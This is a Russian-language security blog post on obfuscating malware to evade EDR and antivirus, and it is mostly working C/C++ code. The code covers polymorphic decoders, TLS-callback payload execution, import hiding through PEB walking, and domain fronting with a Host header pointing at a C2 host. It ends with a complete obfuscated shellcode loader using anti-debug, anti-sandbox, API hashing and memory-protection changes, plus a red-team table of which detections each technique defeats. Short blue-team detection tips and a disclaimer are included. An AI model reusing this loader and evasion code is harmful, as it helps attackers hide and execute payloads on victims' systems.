               REG_ESI=6, REG_EDI=7 } REG;

// Генерация XOR-декодера с случайным выбором регистров
void GenerateDecoder(PBYTE output, PBYTE payload, DWORD payloadSize,
                     PBYTE key, DWORD keySize) {
    REG counterReg = (REG)(GetRandomInt() % 4);  // случайный регистр для счётчика
    REG pointerReg = (REG)((counterReg + 1) % 4); // для указателя
    REG keyReg     = (REG)((counterReg + 2) % 4); // для ключа
    REG tempReg    = (REG)((counterReg + 3) % 4); // временный

    int offset = 0;

    // mov counterReg, payloadSize (с подстановкой регистра)
    output[offset++] = 0xB8 + counterReg; // mov reg, imm32
    *(DWORD*)(output + offset) = payloadSize;
    offset += 4;

    // ... остальные инструкции с подставленными регистрами
    // Каждый билд — другие регистры — другой байтовый паттерн
}

9.3 Code Transposition

// Перестановка независимых инструкций
// Порядок меняется, результат тот же

// Оригинал:
// 1. mov eax, [var1]
// 2. mov ebx, [var2]
// 3. mov ecx, [var3]
// 4. add eax, ebx
// 5. xor eax, ecx

// Инструкции 1, 2, 3 независимы — можно переставлять!
// Вариант A: 1, 2, 3, 4, 5
// Вариант B: 2, 3, 1, 4, 5
// Вариант C: 3, 1, 2, 4, 5
// Вариант D: 2, 1, 3, 4, 5
// ... 6 перестановок для 3 независимых инструкций

// Dependency graph:
// 1 → 4 (eax)
// 2 → 4 (ebx)
// 3 → 5 (ecx)
// 4 → 5 (eax)
// Инструкции без зависимостей — свободно переставляются

typedef struct {
    BYTE code[16];
    int length;
    int reads[4];   // какие регистры читает
    int writes[4];  // какие регистры пишет
} INSTRUCTION_META;

void ShuffleIndependent(INSTRUCTION_META* instructions, int count) {
    for (int i = 0; i < count; i++) {
        for (int j = i + 1; j < count; j++) {
            if (!HasDependency(&instructions[i], &instructions[j])) {
                // Можно переставить с вероятностью 50%
                if (GetRandomInt() % 2) {
                    INSTRUCTION_META tmp = instructions[i];
                    instructions[i] = instructions[j];
                    instructions[j] = tmp;
                }
            }
        }
    }
}

10. Обфускация данных

10.1 Split variables — разделение переменных

// Вместо одной переменной — несколько, объединяемых при использовании

// Оригинал: DWORD key = 0xDEADBEEF;
// Обфусцированный:
DWORD key_part1 = 0xDE000000;
DWORD key_part2 = 0x00AD0000;
DWORD key_part3 = 0x0000BE00;
DWORD key_part4 = 0x000000EF;
// Восстановление:
DWORD key = key_part1 | key_part2 | key_part3 | key_part4;

// Или через арифметику:
DWORD key_a = 0x12345678;
DWORD key_b = 0xCC997977; // key_a ^ 0xDEADBEEF
// Восстановление:
DWORD key = key_a ^ key_b; // = 0xDEADBEEF

10.2 Array encoding — кодирование массивов

// Шеллкод хранится не как массив байт, а как формулы

// Вместо: BYTE sc[] = { 0xFC, 0x48, 0x83, 0xE4, 0xF0, ... };
// Каждый байт вычисляется:

BYTE DecodeShellcodeByte(int index) {
    // Полином: f(x) = ax^3 + bx^2 + cx + d (mod 256)
    // Коэффициенты подбираются чтобы f(0)=0xFC, f(1)=0x48, ...
    int a = 0x13, b = 0x37, c = 0x42, d = 0xFC;
    return (BYTE)((a * index * index * index +
                   b * index * index +
                   c * index + d) & 0xFF);
    // Не работает для произвольных данных — нужна lookup table
}

// Практичнее: массив дельт
// Вместо абсолютных значений — разница между соседними байтами
BYTE scDeltas[] = { 0xFC, 0x4C, 0x3B, 0x61, 0x0C, ... };
// Восстановление:
BYTE sc[256];
sc[0] = scDeltas[0];
for (int i = 1; i < scSize; i++) {
    sc[i] = sc[i-1] + scDeltas[i];
}

// Или: чётные/нечётные байты в разных массивах
BYTE scEven[] = { 0xFC, 0x83, 0xF0, ... }; // байты 0, 2, 4, ...
BYTE scOdd[]  = { 0x48, 0xE4, 0x31, ... }; // байты 1, 3, 5, ...
// Восстановление: merge

10.3 Encrypted stack — шифрование стека

// Sensitive данные на стеке шифруются когда не используются
// Защита от memory dump и cold boot attacks

void SecureFunction() {
    BYTE key[32] = { /* AES key */ };
    BYTE iv[16]  = { /* AES IV */ };

    // Использовали ключи...
    AesDecrypt(payload, payloadSize, key, iv, &decrypted, &decLen);

    // Немедленно зачищаем!
    SecureZeroMemory(key, sizeof(key));
    SecureZeroMemory(iv, sizeof(iv));

    // Или лучше: шифруем ключи другим ключом, храним зашифрованными
    // Расшифровываем только на время вызова AesDecrypt

    // Продвинутый вариант: весь stack frame XOR'ится
    BYTE stackKey = (BYTE)(GetTickCount() & 0xFF);
    PBYTE stackStart = (PBYTE)_AddressOfReturnAddress() - 256;
    for (int i = 0; i < 256; i++) {
        stackStart[i] ^= stackKey;
    }
    // ... sleep / другие операции ...
    // Расшифровать перед return
    for (int i = 0; i < 256; i++) {
        stackStart[i] ^= stackKey;
    }
}

11. Обфускация на уровне PE

11.1 Section name randomization

// Стандартные имена секций (.text, .data, .rdata) — fingerprint
// Меняем на случайные или имитируем другой компилятор

// В линкере или post-processing:
// .text  → .code    (выглядит как MASM)
// .data  → .bss     (выглядит как GCC)
// .rdata → .rodata  (Linux-стиль)
// .rsrc  → .reloc   (путаница)

// Или случайные имена:
// .text → .aXk9
// .data → .mQ2p
// Секции до 8 символов в PE

// Post-processing скрипт:
// python pe_rename_sections.py payload.exe

11.2 Entry point obfuscation

// Настоящий entry point — не начало main()
// Вставляем "прелюдию" — junk код перед реальным entry

// TLS Callback: выполняется ДО entry point!
// EDR может не отслеживать TLS callbacks

#pragma comment(linker, "/INCLUDE:_tls_used")

void NTAPI TlsCallback(PVOID DllHandle, DWORD Reason, PVOID Reserved) {
    if (Reason == DLL_PROCESS_ATTACH) {
        // Этот код выполняется ДО main()!
        // Anti-debug проверки здесь
        if (IsDebuggerPresent()) {
            ExitProcess(0);
        }

        // Или даже весь payload здесь
        DecryptAndExecutePayload();
        ExitProcess(0);
        // main() никогда не вызовется
    }
}

// Регистрация TLS callback
#pragma data_seg(".CRT$XLB")
PIMAGE_TLS_CALLBACK pTlsCallbacks[] = { TlsCallback, NULL };
#pragma data_seg()

// main() — фейковая точка входа с безобидным кодом
int main() {
    printf("Hello, World!\n");
    return 0;
}

11.3 Import table obfuscation

// Delayed imports: функции резолвятся не при загрузке, а при первом вызове
// IAT при статическом анализе — пустая

// #pragma comment(lib, "kernel32.lib") — обычный import
// Вместо этого:
#pragma comment(lib, "delayimp.lib")
#pragma comment(linker, "/DELAYLOAD:kernel32.dll")

// Или полностью ручной import:
// 1. Пустой IAT (нет imports кроме ntdll)
// 2. Все функции резолвятся через PEB walking
// 3. Статический анализ видит "чистый" бинарник

12. Обфускация сетевого взаимодействия

12.1 Domain fronting через WinHTTP

// C2 коммуникация маскируется под легитимный трафик
// TLS SNI = легитимный домен, Host header = C2

HINTERNET hSession = WinHttpOpen(
    OBF(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"),
    WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
    WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);

// Подключаемся к CDN (легитимный домен)
HINTERNET hConnect = WinHttpConnect(hSession,
    OBF(L"cdn.microsoft.com"),  // SNI = microsoft.com
    INTERNET_DEFAULT_HTTPS_PORT, 0);

HINTERNET hRequest = WinHttpOpenRequest(hConnect,
    L"GET", OBF(L"/api/update/check"),
    NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,
    WINHTTP_FLAG_SECURE);

// Подменяем Host header на C2
WinHttpAddRequestHeaders(hRequest,
    OBF(L"Host: evil-c2.azureedge.net\r\n"),  // реальный C2
    -1, WINHTTP_ADDREQ_FLAG_REPLACE);

WinHttpSendRequest(hRequest, NULL, 0, NULL, 0, 0, 0);

// Сетевой трафик выглядит как запрос к microsoft.com
// Firewall/proxy видит TLS к cdn.microsoft.com — легитимно
// CDN маршрутизирует по Host header к C2

12.2 Обфускация C2 протокола

// C2 данные маскируются под обычные HTTP данные
// Команды кодируются в cookies, headers, URL parameters

// Маскировка под API-запрос:
char url[512];
sprintf(url, "/api/v2/users/%s/preferences?lang=%s&theme=%s",
    EncodeCommand(cmd, part1),    // команда в "user ID"
    EncodeData(data, part2),       // данные в "lang"
    EncodeChecksum(checksum));     // checksum в "theme"

// Ответ от C2 маскируется под JSON:
// {"status":"ok","user":{"id":"base64_encoded_payload","prefs":...}}

// Маскировка под изображение:
// Beacon data прячется в EXIF metadata PNG/JPEG
// Или в LSB (Least Significant Bit) пикселей — стеганография

13. Compile-time обфускация (продвинутая)

13.1 Constexpr шифрование (C++17/20)

// Всё шифрование происходит при компиляции
// В бинарнике — только шифротекст

template<size_t N>
struct EncryptedBuffer {
    uint8_t data[N];
    uint8_t key[16];

    constexpr EncryptedBuffer(const uint8_t (&input)[N],
                               const uint8_t (&k)[16]) : data{}, key{} {
        for (size_t i = 0; i < 16; i++) key[i] = k[i];
        for (size_t i = 0; i < N; i++) { data[i] = input[i] ^ k[i % 16]; // Дополнительная трансформация data[i] = ((data[i] >> 3) | (data[i] << 5));
            data[i] += (uint8_t)(i * 7 + 13);
        }
    }

    void decrypt(uint8_t* output) const {
        for (size_t i = 0; i < N; i++) {
            output[i] = data[i];
            output[i] -= (uint8_t)(i * 7 + 13);
            output[i] = ((output[i] << 3) | (output[i] >> 5));
            output[i] ^= key[i % 16];
        }
    }
};

// Использование:
constexpr uint8_t rawShellcode[] = { 0xFC, 0x48, 0x83, /* ... */ };
constexpr uint8_t encKey[] = { 0xAA,0xBB,0xCC,0xDD,0xEE,0xFF,
                                0x11,0x22,0x33,0x44,0x55,0x66,
                                0x77,0x88,0x99,0x00 };

// Шифруется при КОМПИЛЯЦИИ:
constexpr auto encrypted = EncryptedBuffer(rawShellcode, encKey);

// Расшифровка в рантайме:
uint8_t shellcode[sizeof(rawShellcode)];
encrypted.decrypt(shellcode);

13.2 Compile-time API hash generation

// Хэши WinAPI функций вычисляются при компиляции
// В бинарнике — только числа, нет ни строк, ни вызовов hash-функции

constexpr DWORD CompileTimeHash(const char* str, DWORD seed = 0xC0FFEE) {
    DWORD hash = seed;
    while (*str) {
        hash = ((hash >> 5) | (hash << 27)) + *str++;
        hash ^= seed;
    }
    return hash;
}

// Макрос для compile-time вычисления
#define CT_HASH(str) ([]() { \
    constexpr DWORD h = CompileTimeHash(str); \
    return h; \
}())

// Использование:
FARPROC fn = Resolve(CT_HASH("kernel32.dll"), CT_HASH("VirtualAlloc"));
// Компилятор подставляет готовые числа
// В бинарнике: Resolve(0x1A2B3C4D, 0x5E6F7A8B)
// Строк "kernel32.dll" и "VirtualAlloc" нет нигде!

14. Полный пример: обфусцированный shellcode loader

// Всё вместе: API hashing + XOR encryption + anti-debug +
// control flow flattening + junk code + dynamic resolution

// ============ Конфигурация (менять при каждом билде) ============
#define HASH_SEED       0xBADC0FFE
#define XOR_KEY         { 0x4A,0x7B,0x1C,0xDE,0x91,0x33,0xF0,0xA2, \
                          0x5E,0xC7,0x88,0x14,0x6D,0xB9,0x02,0xE5 }
#define H_KERNEL32      0xA1B2C3D4
#define H_NTDLL         0xE5F6A7B8
#define H_VirtualAlloc  0x11223344
#define H_VirtualProtect 0x55667788
#define H_RtlMoveMemory 0x99AABBCC

// ============ Зашифрованный шеллкод ============
unsigned char encPayload[] = {
    // ... AES/XOR зашифрованный шеллкод ...
    0x8B, 0x3F, 0xA1, 0x55, // ...
};

// ============ Hash функция ============
DWORD H(const char* s) {
    DWORD h = HASH_SEED;
    while (*s) { h = ((h >> 5) | (h << 27)) + *s++; h ^= HASH_SEED; } return h; } // ============ PEB Walker ============ HMODULE GetMod(DWORD hash) { PPEB p = (PPEB)__readgsqword(0x60); PLIST_ENTRY head = &p->Ldr->InMemoryOrderModuleList;
    PLIST_ENTRY e = head->Flink;
    while (e != head) {
        PLDR_DATA_TABLE_ENTRY m = CONTAINING_RECORD(
            e, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        // Hash unicode name
        DWORD nameHash = HASH_SEED;
        for (int i = 0; i < m->BaseDllName.Length / 2; i++) {
            char c = (char)m->BaseDllName.Buffer[i];
            if (c >= 'A' && c <= 'Z') c += 32; // tolower nameHash = ((nameHash >> 5) | (nameHash << 27)) + c; nameHash ^= HASH_SEED; } if (nameHash == hash) return (HMODULE)m->DllBase;
        e = e->Flink;
    }
    return NULL;
}

// ============ Export Walker ============
FARPROC GetFn(HMODULE m, DWORD hash) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)m;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)m + dos->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(
        (PBYTE)m + nt->OptionalHeader.DataDirectory[0].VirtualAddress);
    PDWORD names = (PDWORD)((PBYTE)m + exp->AddressOfNames);
    PDWORD funcs = (PDWORD)((PBYTE)m + exp->AddressOfFunctions);
    PWORD ords = (PWORD)((PBYTE)m + exp->AddressOfNameOrdinals);
    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        if (H((char*)((PBYTE)m + names[i])) == hash)
            return (FARPROC)((PBYTE)m + funcs[ords[i]]);
    }
    return NULL;
}

// ============ Main: Control Flow Flattened ============
void Run() {
    // Anti-debug
    volatile PPEB peb = (PPEB)__readgsqword(0x60);
    if (peb->BeingDebugged) return;

    // Anti-sandbox
    LARGE_INTEGER t1, t2, freq;
    QueryPerformanceFrequency(&freq);
    QueryPerformanceCounter(&t1);
    volatile int x = 0;
    for (volatile int i = 0; i < 1000000; i++) x += i; QueryPerformanceCounter(&t2); if ((t2.QuadPart - t1.QuadPart) > freq.QuadPart) return; // too slow = emulation

    // Resolve APIs
    typedef LPVOID (WINAPI *tVA)(LPVOID, SIZE_T, DWORD, DWORD);
    typedef BOOL (WINAPI *tVP)(LPVOID, SIZE_T, DWORD, PDWORD);

    tVA pVA = (tVA)GetFn(GetMod(H_KERNEL32), H_VirtualAlloc);
    tVP pVP = (tVP)GetFn(GetMod(H_KERNEL32), H_VirtualProtect);

    if (!pVA || !pVP) return;

    // Decrypt payload
    BYTE key[] = XOR_KEY;
    SIZE_T scSize = sizeof(encPayload);
    PBYTE sc = (PBYTE)HeapAlloc(GetProcessHeap(), 0, scSize);
    for (SIZE_T i = 0; i < scSize; i++) {
        sc[i] = encPayload[i] ^ key[i % sizeof(key)];
    }

    // Allocate RW, copy, change to RX
    PVOID mem = pVA(NULL, scSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    for (SIZE_T i = 0; i < scSize; i++) ((PBYTE)mem)[i] = sc[i]; // manual copy
    SecureZeroMemory(sc, scSize);
    HeapFree(GetProcessHeap(), 0, sc);

    DWORD old;
    pVP(mem, scSize, PAGE_EXECUTE_READ, &old);

    // Execute
    ((void(*)())mem)();
}

int main() {
    Run();
    return 0;
}

15. Рекомендации

Для Red Team — чеклист обфускации

Уровень Техника Что обходит
Basic XOR строк + stack strings strings, YARA по строкам
Basic Dynamic API resolution IAT analysis
Medium API Hashing + PEB walking GetProcAddress hooks, IAT
Medium AES/RC4 шифрование payload Статические сигнатуры шеллкода
Medium Anti-debug + Anti-sandbox Sandbox анализ, отладка
Advanced Control flow flattening Автоматический анализ CFG
Advanced Function pointer obfuscation Memory dump analysis
Advanced Compile-time encryption Статический анализ .rdata
Expert Metamorphic code Байтовые сигнатуры, ML patterns
Expert Anti-disassembly IDA/Ghidra автоанализ
Expert TLS Callbacks Entry point monitoring

Для Blue Team — что детектить

  • Энтропия секций — .text/.data с энтропией > 7.0 = зашифрованный payload
  • IAT аномалии — бинарник без импортов или с только LoadLibrary/GetProcAddress
  • TLS callbacks — наличие TLS Directory в PE = подозрительно для простого EXE
  • RWX memory — VirtualAlloc/VirtualProtect с PAGE_EXECUTE_READWRITE
  • PEB access patterns — чтение PEB->Ldr через GS:[0x60] вне стандартных API
  • Anti-debug calls — IsDebuggerPresent, NtQueryInformationProcess(ProcessDebugPort)
  • Timing checks — QueryPerformanceCounter с последующим сравнением
  • SystemFunction032/033 — RC4 через undocumented API = crypto without imports

Для Purple Team

  • Соберите набор обфусцированных samples с каждой техникой
  • Протестируйте ваш AV/EDR против каждой по отдельности и в комбинации
  • Напишите YARA-правила для детекта compile-time obfuscation patterns
  • Проверьте: детектит ли ваш EDR PEB walking? API hashing? TLS callbacks?

Заключение

Обфускация — это слои. Один XOR строк не спасёт. Но комбинация API hashing + compile-time encryption + control flow flattening + anti-analysis + metamorphic code создаёт payload, который крайне сложно анализировать как автоматически, так и вручную.

Ключевой принцип: каждый билд должен быть уникальным. Меняйте hash seed, XOR ключи, регистры, порядок инструкций, junk code. Один и тот же source code → тысячи разных бинарников.

Для защитников: фокусируйтесь на поведении, а не на сигнатурах. Обфусцированный код всё равно должен выделить память, записать шеллкод и выполнить его — этот поведенческий паттерн обфускация скрыть не может.


Дисклеймер: Материал предоставлен исключительно в образовательных целях для специалистов по информационной безопасности. Используйте полученные знания только в рамках авторизованного тестирования на проникновение и защиты инфраструктуры.

Обход EDR

Навигация по записям

Previous Post: Обход EDR: техники 2026 года
Next Post: Повышение привилегий в Windows: техники 2026 года

Related Posts

  • Как EDR видит угрозы — и где он слепнет Обход EDR
  • Обход EDR: техники 2026 года Обход EDR
  • Продвинутый обход EDR: техники 2025 года Обход EDR

Archives

  • Апрель 2026
  • Март 2026

Categories

  • Browser Exploitation
  • CVE
  • Evasion
  • Injection
  • Lateral Movement
  • Linux Kernel Exploitation
  • Malware Analysis
  • Persistence
  • Privesc
  • Reverse Engineering
  • Uncategorized
  • Vulnerability Research
  • Windows Internals
  • Windows Kernel
  • Windows Persistence
  • Обход EDR

Recent Posts

  • win32k: Таблица обратных вызовов ядра — полный разбор 126 функций
  • win32kfull: переполнение буфера в NtUserGetRawInputDeviceInfo
  • Как Windows раздаёт обновления по сети: полный реверс P2P протокола Windows Update
  • Token Manipulation 2026 — Impersonation, Potato Attacks, Token Theft: от сервисного аккаунта до SYSTEM
  • Анатомия EDR Killer — техники обхода и отключения защиты в современных ransomware

Recent Comments

Нет комментариев для просмотра.
  • Скрытые баги на виду: Поиск уязвимостей внутри разделяемых библиотек Vulnerability Research
  • win32k: Таблица обратных вызовов ядра — полный разбор 126 функций Reverse Engineering
  • Обход EDR: техники 2026 года Обход EDR
  • Как Windows раздаёт обновления по сети: полный реверс P2P протокола Windows Update Reverse Engineering
  • Fileless Malware: .NET Assembly Loading из памяти Evasion
  • CVE-2026-20811: Асинхронные окна Windows пошли не так — эксплуатация Type Confusion в Win32k Vulnerability Research
  • CVE-2026-21509: APT28 — от фишинга до SYSTEM за 48 часов CVE
  • Повышение привилегий Windows: рабочие техники 2025 года Privesc

Copyright © 2026 GlobThe.Top.

Powered by PressBook News Dark theme